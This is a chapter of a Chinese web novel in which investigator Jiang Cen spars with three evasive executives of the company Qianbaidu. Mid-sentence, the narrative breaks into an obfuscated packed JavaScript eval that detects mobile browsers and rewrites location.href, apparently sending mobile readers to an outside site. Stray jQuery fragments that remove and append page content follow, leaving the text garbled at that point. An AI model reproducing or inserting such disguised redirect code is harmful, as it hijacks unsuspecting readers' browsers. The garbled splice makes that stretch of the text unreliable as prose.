千百度公司对突发事件的应变速度很快，很快便差遣了专人下来，对接江岑。


    江岑心里琢磨着，之所以会这样迅速，与最后那通电话相关，一是因为当着众多客户打的、二是闹出的叽叽喳喳动静不小，所以才刺激到了千百度高管及时处理。


    奔下来对接的这人，看上去很圆滑，一张笑面像粘在脸上似的，让擅长公式化微笑的江岑还自叹不如。甚至他跑过来的时候，还轻轧着肩背，没赶到江岑面前，就漏出一股子卑微味道。


    “调查员好，调查员好！”嗓门洪亮，这活儿可能没少干。


    江岑从现在开始一反常态，把好说话的和气彻底收起来，学秦暮藏着真情绪。


    “我叫李恒。木子李，竖心恒。”见了冷脸，态度仍旧不改，李恒接待的功夫要比小苒强太多，“调查员……怎么称呼？”


    江岑惜字如金，连眼神都刻意不偏倚：“江岑。”


    “江调查员好，江调查员好！”方才明明问过好了，此刻又问，却非多余、而是潜藏机锋。


    “能把您的证件，给我看看吗？”


    说罢，李恒不客气地伸手索要，手临近的距离僭越了江岑的安全范围，像是在倒逼着江岑后退。


    江岑垂目，没考虑很久，就抬手将证件举起来了。


    她也有她的招。


    证件高悬李恒那伸出的手之上，就是不松开、就是不递出——只给看、不给碰。


    李恒的笑意依旧，恍若无事发生，嘻嘻哈哈掩盖了两人举止之间切磋的暗涌。


    “我看到了，果然是江调查员！”李恒稍稍向侧边靠、让开前路，伸出的那只手向外展开，做足了表面功夫、邀江岑往前走，“我带您上楼，电梯在直行尽头的左侧。”


    江岑没把步子迈得太快，她还想多观察观察这个李恒。


    见江岑步子慢，李恒于是赶上前，为前者带路。


    电梯门开闭，第三十层的键钮被按下。这一层很高，仅次于最高层了。


    江岑忍着、不多话，其实心底里很好奇楼层安排是怎样的。


    层级的按钮被保洁护理得很干净，她也无从看出哪一层楼去的人最多。


    李恒不知道江岑的观察和思虑，他有自己的谋算。


    与表现出的油滑模样大不相同，李恒询问出的字字句句都带着强烈的目的感：


    “江调查员，您怎么是独自参访啊？”


    “是千百度哪里违规了禁制吗？”


    “有什么事，是千百度能够帮上江调查员的嚒？”


    江岑哪里试过别人问话不回？憋得实在辛苦，故意重重地咳嗽两声。


    结果，咳者无心、听者有意，李恒自作多情：“啊哈哈，是我冒昧了。不该问的，抱歉抱歉。”


    “……”江岑没想到“不说话”的策略好使，暗诽，“早知道多咳两声了……”


    电梯门再度打开，扑面而来森森凉气。


    忘记了是听谁说的：企业越是高层办公的地方，空调的体感越冷。


    所以江岑不负责任地推想：这第三十层应该是千百度领头话事人工作的所在地方？


    果不其然，李恒带她去的最终地点，是总经办会议室。


    地点不算意外，但要见的人却令她讶异吃惊。


    总经办会议室里的千百度高层有三个人——


    包含了李恒在内。


    眼前点头哈腰奉承的“小人物”，自进了会议室之后，立即披上原就属于他的乌色高定西服。改头换面般，把刚刚虚以逶迤的辞色抛却得干干净净，李恒仰倚在其中一张座儿上，一副当家人的样子。


    江岑再装作冷静，都到底无法从容。


    终于才看清了那件高定西服上的工牌名衔——“商务中心副总李恒”。


    这不算下马威，但欺瞒的举止毫不遮掩，分明就没给予多少尊重。


    江岑调息片刻，接着恢复如常。


    深究原因，没意义；只有争取到最终结果，才是赢家。


    她在观察眼前三位高管，而李恒旁边的那位女士也在观察她。


    那位女士是三位高管中第一个再起身、作正式迎接的人，穿着的一身灰色冷淡，性子也冷冷的，而且不是故意装出来的冷，而是骨子里就向外透着孤傲的冷：“调查员您好，我是公关中心副总经理许英官。”


    江岑喜欢这个名字，却对许英官四溢出的干练飒沓一时喜欢不起来。


    两份冷淡对撞，不利于交涉沟通。


    她得恢复寻常的性格了，用柔和去折服对面的冷淡。


    正如李恒身份逆转般一样突兀，江岑化冷为热的技巧也换得突然！


    回握住许英官那只手，连连套近乎、又招招扇人脸：“原来千百度有三位副总高层呢？方才李副总一个劲和我唠了好多，却没给我介绍重要的另外两位。我一见英官副总就亲切，倘若我一会儿有问题，您可一定要帮我、多多解答才是。”


    李恒眼珠子都瞠大了。


    原本以为江岑区区调查员，性子好琢磨，结果辞色也一会儿一个样的？倒底哪个才是真面孔？


    许英官悄无声息抽回手，点点对面的办公椅：“请坐。”


    等江岑落座的时候，许英官回看一眼失态的李恒。那两人默声对视，可能私底下传递了什么消息，少顷后才复归平常。


    等坐下来，江岑抬眼再看，才终于留意到了三位高管中的最后一位。


    也穿着正装，只不过是白色。工牌名衔上，写着“经纪中心副总麻志明”。


    身形的富态使他鲜少大动作，只是一味在抬眼镜。


    他专注地盯着桌上的茶杯，不太关切江岑进来后发生了什么事。


    许英官打断了江岑对麻志明的留意，在迎接后说出的话正式而刻板：“江调查员，您现在见到的就是千百度公司的主要理事们了。只是您来得太突然，也没有提前知会，我们实在不清楚应该如何配合您工作。或许我们都可以直白一些，反正这关起门来、也再没其他人。您为了什么而来？需要什么？千百度会斟酌之后，给您答复。”


    江岑越听越觉得怪味。


    有种自己被当成了来薅羊毛的不入流调查员似的。


    她选择了不正面回答这个问题。


    以一挡三——一个人面对职场的老油条们，本来就不是件轻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17150982|194528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    易的事。


    多说多错，小心为上。


    干脆用最擅长的观察方法，寻伺他们的破绽。


    江岑也学李恒，一点一点向后仰倚，边后靠、边瞅着他，瞅得李恒心里发毛、一时间不能安坐。


    “您看着我做什么？我的脸上，写着画着您要的东西？”率先静不住，李恒发问。


    江岑还是笑，笑得讳莫如深、笑得莫名其妙。


    李恒竟开黄腔了：“您该不会是要我吧……”


    话没说完，被许英官半路截走：“李恒手上确实有很多利润很高的商务项目，就是不知道江调查员看中了哪一单？”


    言辞凿凿，似乎认定了江岑就是“某种人”，而且不会推拒。


    必须在话题偏移得离谱之前，矫正回来。


    江岑懒散着问：“你们过去也很经常——这样谈话？”


    切入点很对，许英官和李恒面色均是一变。


    有的话题可以泛着谈，但不能揪着挖。他们意识到，江岑的目的可能不简单在此。


    许英官改口，说法换得彻彻底底：“这样的谈话何止经常，简直是天天会有。利润很高的商务项目，少不了调查员们的审计监督，您看中了哪一单的错漏，告诉我们、我们改。”


    黑的变白的，白的还是白的。


    许英官穿的那身灰色，和手段的灰度相称得很。


    江岑道行浅，在水深的池子里，没法子和弄潮人比掀波起浪。


    只要方向回来就行了，方向还要再规整些，回到属于她的领域。


    “什么利润、什么单子的，我不懂。”江岑以退为进，说着不懂、却朗朗大方，“我是事理部的心理调查员。前来拜访千百度公司，就是惯例巡视，来问问各位领导、或者下属员工，乃至合约艺人，有没有心理上的难题或困局需要帮衬？”


    “心理？”李恒面色现下够古怪，想必是第一次接触来意这么神奇的人。


    江岑早就找准目标了，故意朝麻志明的方向叩叩桌：“是啊，心理。特别是，针对迷茫着的人群，事理部可以提供咨询服务。”


    只是麻志明始终未抬头一眼，死死注目在杯盏上，而后一抄手、紧紧握住水杯。


    许英官左也要理、右也要顾，着实劳力：“江调查员，不怪您不知情。千百度公司内部配备有心理疏导专员的，也会定时开展放松的活动。无论是高层理事、下属员工，乃至……合约艺人，都能够舒心生活。”


    话里话外，不需要江岑多此一举的所谓帮衬。


    江岑不急，借调许英官的前话杀了一记回马枪！


    “那就好哇！好极了！”


    “回想起来，千百度公司的某方心理单子，就十分重要——”


    “我得干好调查员的本分，监督确保‘祂’定时有放松、在舒心生活！”


    许英官的唇线抿成“一”字，说出的话撤不回。


    李恒还智迟上当：“哪方心理单子？”


    “我听说当红小生于笑夜的近况，就不是太妙？”


    “啪嗒——”


    麻志明手中的杯子没拿稳，砸下来，未喝完的水漫开，湿了半张桌子。